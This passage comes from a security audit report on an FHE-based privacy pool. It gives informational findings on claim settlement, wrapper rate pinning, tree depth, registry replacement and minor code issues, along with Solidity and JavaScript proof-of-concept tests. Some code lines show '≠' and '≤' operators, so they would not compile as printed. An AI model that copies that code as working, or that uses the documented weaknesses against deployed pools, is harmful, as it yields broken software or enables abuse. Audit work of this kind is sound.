keccak256("AttemptStarted(bytes32,bytes32,uint32,uint32,bytes32,bytes32)");
        bytes32 claimCreatedSig = keccak256("ClaimCreated(bytes32,address,bytes32)");
        bool sawClaimIdInPoolEvent;
        bool sawClaimCreatedEvent;
        for (uint256 i = 0; i < logs.length; i++) {
            if (logs[i].emitter != address(pool) && logs[i].emitter != address(wrapper)) continue;
            if (logs[i].topics[0] == attemptStartedSig && logs[i].emitter == address(pool)) {
                // data = abi.encode(asset, number, ok, claimId) - ebool is bytes32 underneath
```

```
                (, , , bytes32 evClaimId) = abi.decode(logs[i].data, (uint32, uint32, bytes32,
bytes32));
                if (evClaimId == claim1) sawClaimIdInPoolEvent = true;
            }
            if (logs[i].topics[0] == claimCreatedSig && logs[i].emitter == address(wrapper)) {
                if (logs[i].topics[1] == claim1 && logs[i].topics[2] == bytes32(uint256(uint160(bob))))
{
                    sawClaimCreatedEvent = true;
                }
            }
        }
        assertTrue(sawClaimIdInPoolEvent, "claim id observable via AttemptStarted (mitigation, not
tracking)");
        assertTrue(sawClaimCreatedEvent, "wrapper announces the claim indexed by recipient");

        // Settle honestly: from Settled, the ONLY pool-side handles are reverts (retry/confirm)
        // - no function accepts a claim id, reports delivery, or reconciles. And
        // `attempts(a1).claimId` is never mutated by anything, ever.
        (, , , , , ebool ok2, ) = pool.attempts(a1);
        vm.prank(alice);
        pool.confirmAttempt(a1, true, _signDecrypt(ebool.unwrap(ok2), 1));
        assertEq(uint8(_obligation(oid).status), uint8(PrivacyPool.ObligationStatus.Settled),
"settled");
        vm.prank(alice);
        vm.expectRevert(PrivacyPool.RetryNotAllowed.selector);
        pool.retryObligation(oid);
        (, , , , , , bytes32 claimIdSettled) = pool.attempts(a1);
        assertEq(claimIdSettled, claim1, "claimId write-only for the lifetime of the pool");
        assertFalse(wrapper.getClaim(claim1).claimed, "pool settled; delivery state lives only in the
wrapper");
    }

    // ============================ TEST 3 - Diligence 5.13 shape: dormant recipient, no expiry
    /// A recipient that can never act (no key, no code, no indexer) leaves the claim pending
    /// indefinitely - the pool remains Settled with no available action - and the payout is
    /// still recoverable because `claimUnshielded` is permissionless and pays `claim.to`.
    /// Operational limbo, not fund loss.
    function test_F_003_dormantRecipientPersistsClaimIndefinitelyAnyBotCanComplete() public {
        (bytes32 oid, bytes32 a1, bytes32 claim1) = _withdraw(dormant, PAYOUT);
        assertEq(wrapper.getClaim(claim1).to, dormant, "claim targets the dormant recipient");

        (, , , , , ebool ok3, ) = pool.attempts(a1);
        vm.prank(alice);
        pool.confirmAttempt(a1, true, _signDecrypt(ebool.unwrap(ok3), 1));
        assertEq(uint8(_obligation(oid).status), uint8(PrivacyPool.ObligationStatus.Settled),
"settled");
        assertEq(token.balanceOf(dormant), 0, "settled but unpaid");

        // A year of nobody acting: the claim neither expires nor escalates anywhere.
        vm.warp(block.timestamp + 365 days);
        assertFalse(wrapper.getClaim(claim1).claimed, "claim persists indefinitely");
        assertEq(uint8(_obligation(oid).status), uint8(PrivacyPool.ObligationStatus.Settled), "pool
still settled");
        vm.prank(alice);
        vm.expectRevert(PrivacyPool.RetryNotAllowed.selector);
        pool.retryObligation(oid); // the pool still has no lever for this payout
```

```
        // An arbitrary bot completes it FOR the dormant recipient - the caller is NOT paid;
        // the wrapper pays claim.to. Recovery is permissionless but strictly voluntary.
        uint256 botBefore = token.balanceOf(alice);
        ERC20ConfidentialLib.Claim memory c3 = wrapper.getClaim(claim1);
        vm.prank(alice);
        wrapper.claimUnshielded(claim1, uint64(PAYOUT), _signDecrypt(c3.ctHash, PAYOUT));
        assertEq(token.balanceOf(dormant), PAYOUT, "dormant recipient finally paid by a volunteer");
        assertEq(token.balanceOf(alice), botBefore, "the bot earns nothing on-chain: nobody is
incentivized");
    }

    // ------------------------------------------------------------- internals

    /// The Solidity test runner does NOT run the plugin's deployMocks (that happens only on
    /// TS network.create()), so the PoC replicates it byte-for-byte: etch the fixed-address
    /// mocks, deploy the variable-address ones, wire them, and install the plugin's decrypt
    /// signer (Hardhat account #1, GATEWAY_PK) as the gateway.
    function _deployCoFheMocks() internal {
        vm.etch(TASK_MANAGER, vm.getDeployedCode("MockTaskManager"));
        MockTaskManager(TASK_MANAGER).initialize(address(this));
        MockTaskManager(TASK_MANAGER).setSecurityZones(0, 1);
        MockACL acl = new MockACL();
        MockTaskManager(TASK_MANAGER).setACLContract(address(acl));
        ACPTimestampRevoker revoker = new ACPTimestampRevoker();
        acl.setDefaultRevokerContract(address(revoker));
        ACPShareRegistry shares = new ACPShareRegistry();
        acl.setShareRegistry(address(shares));
        MockTaskManager(TASK_MANAGER).setVerifierSigner(ZK_VERIFIER_SIGNER);
        MockTaskManager(TASK_MANAGER).setDecryptResultSigner(vm.addr(GATEWAY_PK));
        vm.etch(ZK_VERIFIER, vm.getDeployedCode("MockZkVerifier"));
        vm.etch(THRESHOLD_NETWORK, vm.getDeployedCode("MockThresholdNetwork"));
        MockThresholdNetwork(THRESHOLD_NETWORK).initialize(TASK_MANAGER, address(acl));
    }

    /// Public getters return flat tuples; this helper keeps assertions readable.
    function _obligation(bytes32 oid) internal view returns (PrivacyPool.Obligation memory o) {
        (o.kind, o.status, o.asset, o.to, o.attempts, o.currentAttempt, o.residual) =
pool.obligations(oid);
    }

    /// Real withdrawal route: transact(FORMAT_PUBLIC, extAmount = -amount) ⇒ Burn obligation
    /// whose first attempt unshields from the pool to `_to` (PP:646-648, PP:828-871).
    function _withdraw(address _to, uint64 amount) internal returns (bytes32 oid, bytes32 attempt1,
bytes32 claim1) {
        // noteLiability must cover the withdrawal (it accrues from deposits); find its storage
        // key dynamically instead of hard-coding the layout, then seed the historical state.
        // The recorded accesses also include the proxy's EIP-1967 slots, so filter them out.
        vm.record();
        pool.noteLiability(1);
        (bytes32[] memory reads,) = vm.accesses(address(pool));
        bytes32 slot;
        bool found;
        for (uint256 i = 0; i < reads.length; i++) {
            if (
                reads[i] == 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc // impl
                    || reads[i] == 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103 //
admin
```

```
            ) continue;
            slot = reads[i];
            found = true;
        }
        require(found, "no noteLiability slot recorded");
        vm.store(address(pool), slot, bytes32(uint256(amount)));
        assertEq(pool.noteLiability(1), amount, "noteLiability seeded");

        PrivacyPool.ExtData memory ext = PrivacyPool.ExtData({
            recipient: _to,
            extAmount: -int256(uint256(amount)),
            withdrawFee: 0, // withdrawFeeBps = 0
            encryptedOutputs: _ciphertexts(),
            chainId: block.chainid,
            pool: address(pool),
            asset: 1,
            format: FORMAT_PUBLIC,
            depositId: bytes32(0),
            referrer: address(0)
        });
        PrivacyPool.TransactProof memory proof = PrivacyPool.TransactProof({
            a: [uint256(1), 2],
            b: [[uint256(1), 2], [uint256(3), 4]],
            c: [uint256(5), 6],
            root: pool.getLastRoot(),
            inputNullifiers: _nullifiers(),
            outputCommitments: [bytes32(uint256(11)), bytes32(uint256(12)), bytes32(uint256(13))],
            publicAmount: pool.calculatePublicAmount(ext.extAmount),
            extDataHash: bytes32(uint256(keccak256(abi.encode(ext))) % pool.FIELD_SIZE())
        });

        vm.prank(alice);
        pool.transact(proof, ext);

        oid = _lastObligationId();
        assertEq(uint8(_obligation(oid).status), uint8(PrivacyPool.ObligationStatus.InFlight), "attempt
in flight");
        assertEq(_obligation(oid).to, _to, "obligation pays the recipient");
        attempt1 = _obligation(oid).currentAttempt;
        (, , , , euint64 sent0, , bytes32 claimId0) = pool.attempts(attempt1);
        claim1 = claimId0;
        assertTrue(claim1 ≠ bytes32(0), "burn attempt recorded its claim id");
        assertEq(_dec64(euint64.unwrap(sent0)), amount, "burn moved the full amount");
    }

    function _lastObligationId() internal view returns (bytes32) {
        return keccak256(abi.encode(block.chainid, address(pool), pool.obligationNonce() - 1));
    }

    function _ciphertexts() internal pure returns (bytes[3] memory cts) {
        cts = [new bytes(168), new bytes(168), new bytes(168)];
    }

    uint256 _nonce;

    function _nullifiers() internal returns (bytes32[] memory n) {
        n = new bytes32[](2);
```

```
        n[0] = keccak256(abi.encode("nullifier", ++_nonce));
        n[1] = keccak256(abi.encode("nullifier", ++_nonce));
    }

    /// Plaintext of a handle in the mock TaskManager.
    function _dec64(bytes32 handle) internal view returns (uint256) {
        return ITaskManagerMock(TASK_MANAGER).mockStorage(uint256(handle));
    }

    /// A gateway verdict: MockTaskManager.computeDecryptResultHash(ctHash, result, chainid),
    /// signed by the mock decrypt signer - copied verbatim so the mock accepts it.
    function _signDecrypt(bytes32 handle, uint256 result) internal view returns (bytes memory sig) {
        uint256 ctHash = uint256(handle);
        uint8 encryptionType = uint8((ctHash >> 8) & 0x7f);
        uint64 cid = uint64(block.chainid);
        bytes32 messageHash;
        assembly {
            let ptr := mload(0x40)
            mstore(ptr, result)
            mstore(add(ptr, 0x20), shl(224, encryptionType))
            mstore(add(ptr, 0x24), shl(192, cid))
            mstore(add(ptr, 0x2c), ctHash)
            messageHash := keccak256(ptr, 0x4c)
            mstore(0x40, add(ptr, 0x4c))
        }
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(GATEWAY_PK, messageHash);
        sig = abi.encodePacked(r, s, v);
    }

    /// Deploy from artifact creation code, patching every unlinked-library placeholder
    /// (`__$…$__`) with `lib`, then appending constructor args.
    function _create(bytes memory creation, address lib, bytes memory args) internal returns (address a)
{
        if (lib != address(0)) creation = _link(creation, lib);
        bytes memory code = abi.encodePacked(creation, args);
        assembly {
            a := create(0, add(code, 0x20), mload(code))
        }
        require(a != address(0), "create failed");
    }

    function _link(bytes memory code, address lib) internal pure returns (bytes memory out) {
        bytes32 addrWord = bytes32(uint256(uint160(lib)));
        out = new bytes(code.length);
        uint256 src;
        uint256 dst;
        while (src < code.length) {
            uint256 p = _placeholderAt(code, src);
            if (p == type(uint256).max) {
                while (src < code.length) out[dst++] = code[src++];
                break;
            }
            while (src < p) out[dst++] = code[src++];
            for (uint256 j = 12; j < 32; j++) out[dst++] = addrWord[j]; // 20-byte address
            src = _placeholderEnd(code, p);
        }
        assembly {
```

```
            mstore(out, dst)
        }
    }

    function _placeholderAt(bytes memory code, uint256 from) internal pure returns (uint256) {
        for (uint256 i = from; i + 5 ≤ code.length; i++) {
            if (code[i] == 0x5f && code[i + 1] == 0x5f && code[i + 2] == 0x24) return i; // "__$"
        }
        return type(uint256).max;
    }

    function _placeholderEnd(bytes memory code, uint256 start) internal pure returns (uint256) {
        for (uint256 i = start + 3; i + 3 ≤ code.length; i++) {
            if (code[i] == 0x24 && code[i + 1] == 0x5f && code[i + 2] == 0x5f) return i + 3; // "$__"
        }
        revert("malformed library placeholder");
    }
}
```

Recommendation. Document that Settled means a signed gateway verdict confirmed the full requested amount was burned into a wrapper claim for the recipient, and that the underlying tokens are paid only when that claim is completed. Keep the existing off-chain tracking in the deployment guidance, and consider an on-chain view or event that reports claim completion for integrators who do not run this off-chain stack. Consider rebasing the wrapper on a vendor release that can reassign claims, and note that doing so means changing the pinned code hash.

REMEDIATION ● FIXED

FLUTON

Confirmed, Informational. Fixed: the README now explains the 2-unit minimum withdrawal and that a Settled TOKEN payout is a wrapper claim, not yet a delivery.

I-02 Asset listing relies on owner discipline for wrapper behaviour and rate

SEVERITY INFORMATIONAL STATUS FIXED LOCATION PrivacyPool.sol

Location: PrivacyPool.sol lines 311 to 337 (`addAsset`), 279 to 308 (`initialize`), 771 to 783 (`_pullAndShield`).

`addAsset` compares only the wrapper's runtime code hash with the hash pinned at initialization, and has no notion of proxy versus standalone code. It then snapshots the wrapper's rate once and uses it for the life of the asset. The pinned hash is written only in `initialize` and has no setter, and the shipped deployment tooling pins the hash of the constructor-deployed ConfidentialWrapper. A proxy therefore cannot be listed under the shipped configuration. If the pinned hash were that of a proxy's runtime code, any proxy of that kind would be admitted, whatever implementation it points to, and a proxy's runtime hash says nothing about wrapper behaviour. `addAsset` also gives the listed wrapper an unlimited allowance over the pool's holdings of the underlying token, which the pool normally holds only transiently.

The shipped wrapper never changes its rate after construction. In a wrapper-level test with two ConfidentialWrapper instances that were not listed in a pool, the rate stayed constant across a shield deposit, a 100-block advance and further minting of the underlying token, and every instance linked to the same library shares one runtime code hash. The code has no writer of the rate after construction.

Two residual risks are administrative.

1. **Token behaviour.** The README tells owners to list only plain ERC-20 tokens. On the one-step token route (`deposit`), `_pullAndShield` checks the balance delta on both legs, so a fee-on-transfer token reverts with `UnderlyingShortfall`. The eTOKEN route has no such check. In a reviewer's experiment on that route with a listed fee-on-transfer token, a direct wrapper shield left the wrapper holding 99 tokens against 100 needed, and `requestDeposit` accepted the eTOKEN with the success flag true. Listing such a token can therefore leave the wrapper under-backed. A token whose balances change on their own (rebasing) would undermine its wrapper's backing, as the README states.
2. **Proxy wrappers.** Pinning the code hash of an upgradeable proxy wrapper could allow a later upgrade to an implementation that rewrites the rate while the pool keeps the old snapshot. In a reviewer's experiment with such a proxy, the rate moved from 1 to 2 while the pool kept snapshot 1, a 1,000 token deposit booked 1,000 tokens of note liability against 500 tokens of eTOKEN reserve, and payouts used the wrapper's live rate. This needs a trusted deployer to pin that hash, a trusted owner to list and a trusted upgrader, so there is no unprivileged path. The proxy case was reasoned from the code and an experiment in a copy of the project, and no existing proof of concept executes it.

Test source (exact).

File: `packages/contracts/test/poc/F-016-PoC.t.sol` **Run:** `npx hardhat test solidity test/poc/F-016-PoC.t.sol`

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ConfidentialWrapper} from "../../contracts/fhenix/ConfidentialWrapper.sol";
import {MockERC20} from "../../contracts/MockERC20.sol";
import {MockTaskManager} from "@cofhe/mock-contracts/contracts/MockTaskManager.sol";
import {MockACL} from "@cofhe/mock-contracts/contracts/MockACL.sol";
import {ACPTimestampRevoker} from "@cofhe/mock-contracts/contracts/ACPTimestampRevoker.sol";
import {ACPShareRegistry} from "@cofhe/mock-contracts/contracts/ACPShareRegistry.sol";
import {MockThresholdNetwork} from "@cofhe/mock-contracts/contracts/MockThresholdNetwork.sol";

/// F-016 (F-CW-02): rate-snapshot / proxy-codehash listing.
///
/// Light unit PoC scoped to the in-repo surface:
///  1. rate() = 10^(underlyingDecimals - 6) (or 1), written once in
///     __FHERC20ERC20WrapperCore_init (WCore:63/:66) from the ConfidentialWrapper
///     constructor - the ONLY writer of $._rate in the pinned v0.4.0 chain (no setter).
///  2. rate() is therefore constant across blocks, underlying state changes, a real
///     wrapper.shield() DEPOSIT and repeated reads on the standard (constructor-deployed)
///     wrapper: the PP-side snapshot taken at addAsset (read PP:319, stored PP:328) can
///     never diverge from the wrapper's live rate. No "G9 rate() staleness across
///     shield/unshield".
///  3. Every same-library instance shares ONE runtime codehash (name/symbol/
///     underlying/rate live in ERC-7201 storage), so the PP:315 pin admits only
///     wrapper code whose rate cannot change post-listing.
///
/// Residual documented in audit/valids/F-016.md (NOT executable against the pinned
/// dependency): the owner could pin a UUPS-proxy codehash at initialize (PP:298/:303
/// accepts any non-zero codehash) and list an FHERC20ERC20WrapperUUPS proxy -
/// unaudited upstream variant, NOT shipped in pinned v0.4.0 (find: 0 files) - whose
/// implementation could later mutate rate. Owner-action-required; see verdict.
contract F016RateImmutabilityTest is Test {
    // CoFHE mock fixed addresses (Hardhat cofhe plugin, same as F-002/F-004 PoCs).
    uint256 constant GATEWAY_PK = 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d;
    address constant TASK_MANAGER = 0xeA30c4B8b44078Bbf8a6ef5b9f1eC1626C7848D9;
    address constant ZK_VERIFIER = 0x0000000000000000000000000000000000005001;
    address constant THRESHOLD_NETWORK = 0x0000000000000000000000000000000000005002;
    address constant ZK_VERIFIER_SIGNER = 0x6E12D8C87503D4287c294f2Fdef96ACd9DFf6bd2;

    ConfidentialWrapper internal w18;
    ConfidentialWrapper internal w6;
    MockERC20 internal dai18;
    MockERC20 internal usdc6;

    function setUp() public {
        _deployCoFheMocks();
        dai18 = new MockERC20("Dai Stablecoin", "DAI", 18);
        usdc6 = new MockERC20("USD Coin", "USDC", 6);
        w18 = new ConfidentialWrapper(IERC20(address(dai18)), "Encrypted Dai Stablecoin", "eDAI");
        w6 = new ConfidentialWrapper(IERC20(address(usdc6)), "Encrypted USD Coin", "eUSDC");
    }

    /// rate = 10^(decimals-6) for >6-dec underlyings, 1 otherwise - construction-time.
    function test_F_016_rateMatchesUnderlyingDecimals() public view {
```

```
        assertEq(w18.rate(), 10 ** 12, "18-dec underlying must give rate 1e12");
        assertEq(w18.decimals(), 6, "wrapper decimals pinned to 6");
        assertEq(w6.rate(), 1, "6-dec underlying must give rate 1");
        assertEq(w6.decimals(), 6, "wrapper decimals pinned to 6");
        assertEq(address(w18.underlying()), address(dai18));
        assertEq(address(w6.underlying()), address(usdc6));
    }

    /// rate() has no writer in the pinned chain: constant across blocks and state.
    function test_F_016_rateConstantAcrossBlocksAndState() public {
        uint256 before18 = w18.rate();
        uint256 before6 = w6.rate();
        vm.roll(block.number + 100);
        dai18.mint(address(this), 1e24);
        usdc6.mint(address(this), 5e6);
        assertEq(w18.rate(), before18, "rate mutated across block/state boundary");
        assertEq(w6.rate(), before6, "rate mutated across block/state boundary");
        assertEq(w18.rate(), w18.rate());
        assertEq(w6.rate(), w6.rate());
    }

    /// PP:315 pins one codehash for the whole wrapper family; per-instance rates live
    /// in storage, not code - identical runtime code across instances with 1e12 vs 1.
    function test_F_016_instancesShareRuntimeCodehash() public view {
        bytes32 h18 = address(w18).codehash;
        bytes32 h6 = address(w6).codehash;
        assertEq(h18, h6, "same-library instances must share runtime codehash");
        assertTrue(h18 != bytes32(0), "deployed wrapper must have code");
    }

    /// THE deposit leg: a real wrapper.shield() (safeTransferFrom + FHE mint at
    /// amount/rate()) leaves rate() bit-identical - no post-deposit drift on the
    /// standard path, so the PP:328 snapshot stays exact forever.
    function test_F_016_rateConstantThroughDeposit() public {
        uint256 before18 = w18.rate();
        uint256 before6 = w6.rate();

        dai18.mint(address(this), 5_000e18);
        dai18.approve(address(w18), 5_000e18);
        w18.shield(address(this), 5_000e18); // 5000e18 / 1e12 = 5000e6 e-units
        usdc6.mint(address(this), 1_000e6);
        usdc6.approve(address(w6), 1_000e6);
        w6.shield(address(this), 1_000e6); // rate 1: 1:1

        assertEq(w18.rate(), before18, "rate mutated by shield() (18-dec underlying)");
        assertEq(w6.rate(), before6, "rate mutated by shield() (6-dec underlying)");
        assertEq(w18.decimals(), 6, "decimals must stay 6 post-deposit");
        assertEq(w6.decimals(), 6, "decimals must stay 6 post-deposit");
        assertEq(address(w18.underlying()), address(dai18), "underlying pinned post-deposit");
        assertEq(address(w6.underlying()), address(usdc6), "underlying pinned post-deposit");
    }

    function _deployCoFheMocks() internal {
        vm.etch(TASK_MANAGER, vm.getDeployedCode("MockTaskManager"));
        MockTaskManager(TASK_MANAGER).initialize(address(this));
        MockTaskManager(TASK_MANAGER).setSecurityZones(0, 1);
        MockACL acl = new MockACL();
```

```
        MockTaskManager(TASK_MANAGER).setACLContract(address(acl));
        ACPTimestampRevoker revoker = new ACPTimestampRevoker();
        acl.setDefaultRevokerContract(address(revoker));
        ACPShareRegistry shares = new ACPShareRegistry();
        acl.setShareRegistry(address(shares));
        MockTaskManager(TASK_MANAGER).setVerifierSigner(ZK_VERIFIER_SIGNER);
        MockTaskManager(TASK_MANAGER).setDecryptResultSigner(vm.addr(GATEWAY_PK));
        vm.etch(ZK_VERIFIER, vm.getDeployedCode("MockZkVerifier"));
        vm.etch(THRESHOLD_NETWORK, vm.getDeployedCode("MockThresholdNetwork"));
        MockThresholdNetwork(THRESHOLD_NETWORK).initialize(TASK_MANAGER, address(acl));
    }
}
```

Recommendation. Pin only the code hash of the constructor-deployed wrapper, as the repository does today, and state this rule in the listing documentation. Add a balance-delta check to the eTOKEN deposit route or restrict listing to plain ERC-20 tokens in code. Optionally re-read the rate at payout time and revert on mismatch, noting that the pool uses its stored rate only on the deposit leg and that a new check adds code

REMEDIATION FIXED

FLUTON

Confirmed, Informational. Fixed.

I-03 The pool's tree depth is not coupled to the depth baked into the circuits and verifiers

SEVERITY INFORMATIONAL STATUS FIXED

LOCATION PrivacyPool.sol MerkleTreeWithHistory.sol transaction.circom transaction16.circom

Location: PrivacyPool.sol lines 279 to 296, MerkleTreeWithHistory.sol line 40, transaction.circom and transaction16.circom.

Both circuits are instantiated with a depth of 20, and the 2-input verifier's constants match its bundled proving key (all 34 constants compared). The 16-input verifier's constants could not be compared. The pool accepts any depth from 2 to 31 at initialization (depths 0 and 32 or more revert with `InvalidLevels`, and depth 1 reverts with `TreeTooSmall` because a transaction appends three leaves) and never compares it with the circuit depth. A deployment at another depth would still accept deposits, because a deposit proof spends only zero-value dummy notes and the circuit skips the membership check for those. It could never spend a deposited note, because the circuit recomputes a depth-20 root from the leaf and path and requires it to equal the pool's root (joinSplit.circom lines 144 to 147), which cannot be satisfied for a tree of any other depth. Every deposit made into such a pool would be accepted and then frozen until the ProxyAdmin owner upgrades the pool.

The hazard exists only for a custom deployment or a future upgrade. All in-repository deploy scripts pass the SDK constant for depth 20, which is commented as having to match the circuit, and the depth has no setter. The current deployment uses depth 20 according to the deployment record.

Recommendation. Add a constant for the circuit depth and require the initializer's depth to equal it. In a copy of the project this cost about 70 bytes of runtime code, which counts against the headroom. The generated verifiers do not carry the depth, so a verifier-side check would need an added getter or wrapper.

REMEDIATION FIXED

FLUTON

Confirmed, Informational. Fixed.

I-04 The pool owner can replace the Predicate registry with one that approves everything

SEVERITY INFORMATIONAL STATUS FIXED LOCATION PrivacyPool.sol

Location: PrivacyPool.sol lines 358 to 365 (`setRegistry`), 628 to 630 (`_authorizeDepositor`).

The NatSpec on `setRegistry` says "Screening cannot be switched off". The function rejects only the zero address, the inherited client stores any other address and calls `setPolicyID` on it, which reverts only for an address without code, and the pool trusts the boolean that the registry's attestation check returns. One owner transaction can therefore install a registry that approves every attestation, including an empty one, and deposits then clear screening. Screening is entry-only, so value already deposited is unaffected. Section 10 attributes deposit screening to Predicate's keys and registry and does not say that the pool owner can bypass it.

Recommendation. Correct the NatSpec and the README. If the guarantee is wanted, pin the registry's code hash or restrict `setRegistry` to a vetted list behind a timelock.

REMEDIATION FIXED

FLUTON

Confirmed, Informational. Fixed.

I-05 Minor code observations

SEVERITY ● INFORMATIONAL STATUS ● FIXED

LOCATION	OBSERVATION	SUGGESTION
PrivacyPool.sol 279 to 308	`initialize` does not check that the two verifier addresses and the hasher address are nonzero. A zero or non-contract hasher reverts during initialization because the tree setup calls it. A zero or non-contract verifier is accepted at initialization and every later call that verifies a proof reverts. The verifiers have no setter, so recovery needs a proxy upgrade	Add explicit checks for all three addresses so a bad deployment fails at initialization
PrivacyPool.sol 601 to 614	`checkBacking` only makes an encrypted comparison publicly decryptable and no on-chain function reads the result, so a backing deficit would not halt any function. The README already calls the check an aid for monitors	State in the README and in the NatSpec of `checkBacking` that no on-chain function reads the result, so a deficit is visible only to an off-chain monitor
PrivacyPool.sol 860	The encrypted subtraction of the sent amount from the requested amount is unchecked and is safe only because the sent amount is the requested amount or zero. The inline comment, the pool NatSpec, the wrapper interface NatSpec and the README all state this behaviour, and the project's wrapper tests pin it, but the pool has no guard of its own	Optionally use a saturating form so the pool does not depend on that property
PrivacyPool.sol 449 to 451, 800 to 808	`referralRewardOf` returns a nonzero quote for the zero address when the withdrawal fee rate and the base referral share are nonzero and the amount is large enough, while `_creditReferral` books no credit when there is no referrer	Return zero for the zero address

LOCATION	OBSERVATION	SUGGESTION
PrivacyPool.sol 398, 405, 646	`ReferralBonusSet` is used for both setting and revoking. The fee credited on each withdrawal at line 646 emits nothing, and `collectFees` and `claimReferral` do not emit the resulting fee balance, so a log-only consumer cannot reconstruct `protocolFees`	Add a distinct revoke event and a fee balance event. A note liability event is not needed, because `noteLiability` is already a public variable and each change equals the public external amount of a deposit or withdrawal
ConfidentialWrapper.sol 32	The constructor passes a literal 6 to the FHERC20 base constructor, which fixes the indicator tick at 100 raw units. The `decimals` and `rate` views are correct and follow the documented minimum of the underlying decimals and 6. For underlying tokens with fewer than 6 decimals the indicator-style views (`balanceOf` , `totalSupply` and the amount in the ERC-20 Transfer event) are over-reported by 10 times to 100 times. This is display only	Derive the tick from the underlying or restrict listing to tokens with at least 6 decimals
ConfidentialWrapper.sol 43 to 56	`_unshield` is a copy of the vendor function (v0.4.0) that also captures the claim identifier and emits an extra `ClaimCreated` event, and it never calls the base implementation, so later vendor fixes in that function are not inherited on a dependency upgrade	The vendor version is already pinned exactly. Add a differential test of this override against the vendor implementation and rerun it on every dependency bump
PrivacyPool.sol compiled runtime code	The viaIR build compiled from the snapshot with the project's Hardhat configuration is 24,430 bytes, which is 146 bytes below the 24,576 byte limit of EIP-170. We did not measure the code deployed on Sepolia	
deployments/sepolia.json	The deployment record contains an RPC URL with an embedded provider API key	Rotate the key and keep it out of the repository

Test source for the wrapper decimals observation (exact).

File: `packages/contracts/test/poc/poc-F-FEY-01.test.js` **Run:** `npx hardhat test nodejs test/poc/poc-F-FEY-01.test.js`

```
/**
 * PoC for F-FEY-01 (Info, semantic-gap).
 *
 * Claim under test: ConfidentialWrapper.sol:32 passes the literal `6` to `FHERC20(name_, symbol_, 6,
"")`.
 * `__FHERC20Core_init` (FHERC20Core.sol:81-83) turns that literal into TWO storage writes in the
 * `fherc20.storage.FHERC20` namespace: `$._decimals = 6` and `$._indicatorTick = tick(6) = 100`.
 * `__FHERC20ERC20WrapperCore_init` (FHERC20ERC20WrapperCore.sol:55-68) then writes DIFFERENT fields in
 * the `fherc20.storage.FHERC20ERC20Wrapper` namespace (`_wrappedDecimals = min(d, 6)`, `_rate`).
 * `decimals()` is the diamond-disambiguated override (FHERC20ERC20Wrapper.sol:33-35) forwarding to
 * FHERC20ERC20WrapperCore.sol:161-163, so it returns `_wrappedDecimals` and the literal `6` written to
 * `$._decimals` is dead. `$._indicatorTick` has no such shadowing override anywhere
 * (FHERC20Core.sol:83 is the only writer in the pinned 0.4.0 tree), so it stays `100` regardless of
`d`.
 *
 * The invariant that breaks is the vendor's own, stated in FHERC20Core.sol:30-33 and :91-93: the
 * ERC-20-shaped `balanceOf`/`totalSupply` are an indicator that "starts at 7984.0000 on first
 * interaction and shifts by 0.0001 per transfer". Reaching that requires
 * `$._indicatorTick == 10 ** (decimals() - 4)` (FHERC20Core.sol:83), which for `d < 6` is `≠ 100`.
 *
 * Harness: the REAL `ConfidentialWrapper` (linked to the REAL ERC20ConfidentialLib), the REAL pinned
 * fhenix-confidential-contracts 0.4.0 sources, a REAL MockERC20 whose `decimals` is a constructor
 * argument, and the CoFHE mocks from @cofhe/hardhat-3-plugin - the same deployment path the project's
 * own wrapper-facts.test.ts uses. No mock, stub or reimplementation of the code under test.
 */
import assert from "node:assert/strict";
import { describe, it } from "node:test";
import { connectWithMocks, deployTokenStack } from "../fhenix/helpers.js";

/** FHERC20Core.sol:83 - the tick the pinned base derives from the decimals it is handed. */
const tick = (d) => (d <= 4 ? 1n : 10n ** BigInt(d - 4));
/**
 * The counter `_incrementIndicator(0)` stores on first receipt (FHERC20Core.sol:60 + :357-359,
 * `_INDICATOR_BASE + 1`), i.e. what `balanceOf`/`totalSupply` scale on a freshly funded account.
 */
const INDICATOR_FIRST = 79_840_001n;

const spec = (decimals) => ({ name: `Token ${decimals}d`, symbol: `T${decimals}`, decimals });

describe("PoC F-FEY-01: hardcoded decimals = 6 leaves _indicatorTick unshadowed", async () => {
  const conn = await connectWithMocks();
  const { viem } = conn;
  const [deployer, alice] = await viem.getWalletClients();

  /**
   * Deploy the production wrapper over an underlying with `d` decimals and take it through one
   * shield, so `balanceOf`/`totalSupply` have a populated indicator counter to scale.
   */
  async function stackOver(d) {
    const stack = await deployTokenStack(conn, spec(d));
    const { token, wrapper, rate } = stack;
    // `rate` is 1 for d <= 6, so `units` base units shield to exactly `units` confidential units.
    const units = 1_000_000n;
    await token.write.mint([deployer.account.address, units * rate]);
    await token.write.approve([wrapper.address, units * rate]);
    await wrapper.write.shield([alice.account.address, units * rate]);
```

```
    return {
      ...stack,
      underlyingDecimals: await token.read.decimals(),
      wrapperDecimals: await wrapper.read.decimals(),
      indicatorTick: await wrapper.read.indicatorTick(),
      balanceOf: await wrapper.read.balanceOf([alice.account.address]),
      totalSupply: await wrapper.read.totalSupply(),
    };
  }

  // ---- the literal `6` is shadowed for decimals() but NOT for the tick -------------------------
  for (const d of [18, 6, 5, 4, 0]) {
    it(`d=${d}: decimals() follows the underlying (${Math.min(d, 6)}), indicatorTick() stays
tick(6)=100`, async () => {
      const s = await stackOver(d);

      // The underlying really has `d` decimals and the wrapper really reports min(d, 6)...
      assert.equal(s.underlyingDecimals, d);
      assert.equal(s.wrapperDecimals, Math.min(d, 6));
      assert.equal(s.rate, d > 6 ? 10n ** BigInt(d - 6) : 1n);

      // ...so for d < 6 the `$._decimals = 6` written by ConfidentialWrapper.sol:32 is provably
      // dead storage: the value a reader sees comes from the wrapper namespace, not the literal.
      if (d < 6) assert.notEqual(s.wrapperDecimals, 6, `d=${d} must not inherit the literal 6`);

      // ...while `$._indicatorTick` is still the value derived from that same literal.
      assert.equal(s.indicatorTick, 100n);
      assert.equal(s.indicatorTick, tick(6));

      // The counter itself is independent of `d` (one increment per receipt).
      assert.equal(s.balanceOf, INDICATOR_FIRST * 100n);
      assert.equal(s.totalSupply, INDICATOR_FIRST * 100n);
    });
  }

  // ---- the divergence, quantified as a rendering over-report -----------------------------------
  for (const [d, factor] of [
    [5, 10n],
    [4, 100n],
    [0, 100n],
  ]) {
